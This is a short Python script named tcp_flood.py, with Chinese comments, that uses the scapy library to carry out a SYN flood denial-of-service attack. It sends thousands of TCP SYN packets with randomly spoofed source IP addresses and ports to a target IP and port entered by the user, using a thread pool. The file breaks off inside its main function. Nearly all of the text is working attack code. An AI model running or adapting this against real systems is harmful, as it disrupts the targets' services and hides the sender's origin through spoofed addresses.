# -*- coding: utf-8 -*- # @Time : 2022/8/19 10:03 # @Author : # @File : tcp_flood.py
from scapy.all import * #导入scapy库 from scapy.layers import inet from scapy import * import random from multiprocessing.pool import ThreadPool #多线程库调用 def func(dst,dport): for var in range(10000): #单个函数发送10000次SYN包 ip_num_1 = random.randint(1,255) ip_num_2 = random.randint(1,255) ip_num_3 = random.randint(1,255) ip_num_4 = random.randint(1,255) #四位随机IP段 sport = random.randint(1024,65535) #来源随机端口 src_ip = "%d.%d.%d.%d"%(ip_num_1,ip_num_2,ip_num_3,ip_num_4) pkt = IP(dst=dst,src=src_ip) / TCP(dport=dport,sport=sport,flags="S") #构建好的TCP握手数据包 print('send:',src_ip) send(pkt) #发送到目标主机 def main(): tp = ThreadPool(4) dst = input("请输入攻击IP:") dport = int(input("请输入被攻击端口:"))